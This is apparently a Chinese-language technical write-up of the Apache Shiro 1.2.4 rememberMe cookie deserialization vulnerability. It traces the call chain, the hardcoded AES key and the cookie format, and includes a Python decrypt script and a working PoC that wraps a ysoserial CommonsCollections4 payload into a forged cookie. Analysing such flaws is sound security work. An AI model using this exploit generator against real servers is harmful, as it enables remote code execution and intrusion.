0%

Shiro v1.2.4反序列化

原理

触发入口

登录点击记住密码时,有rememberMe,下次登陆时会带rememberMe的cookie,rememberMe存在反序列化问题

1563415886850

序列化入口

调试得到序列化入口和解密方法:

1
2
3
4
org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity(AuthenticationToken, AuthenticationInfo):321
org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity(Subject, PrincipalCollection)
org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes(L360:序列化)
org.apache.shiro.mgt.AbstractRememberMeManager#encrypt(加密方法)

在encrypt函数中可以看到加密方法为AES-CBC

1563420577517

获取加密key

AbstractRememberMeManager#encrypt() 调用了getEncryptionCipherKey()方法获取加密用的key

1565425414839

getEncryptionCipherKey返回了encryptionCipherKey,encryptionCipherKey在AbstractRememberMeManager类初始化时设置:

1565425554398

向上找到AbstractRememberMeManager#DEFAULT_CIPHER_KEY_BYTES,密钥硬编码到了代码里:

1565425627351

分析rememberMe格式

iv和rememberMe产生接着调试

1
2
3
org.apache.shiro.mgt.AbstractRememberMeManager#encrypt
org.apache.shiro.crypto.JcaCipherService#encrypt(byte[], byte[])
org.apache.shiro.crypto.JcaCipherService#encrypt(byte[], byte[], byte[], boolean)

1563420885798

即rememberme=b64(IV+encrypt(serial))

因此有解密代码:

1
2
3
4
5
6
7
8
9
with open(filename, 'rb') as enc_file, open("./decrypt.bin", 'wb') as dec_file:
cookie = base64.b64decode(enc_file.read())
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
mode = AES.MODE_CBC
iv=cookie[:16]
serial=cookie[16:]
encryptor = AES.new(key, mode, IV=iv)
remember_bin = encryptor.decrypt(serial)
dec_file.write(remember_bin)

PoC

因此有反序列化代码

1
2
3
4
5
6
7
8
9
10
11
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections4', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

反序列化入口

org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals

org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals
    org.apache.shiro.mgt.AbstractRememberMeManager#deserialize
1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes); //sink
}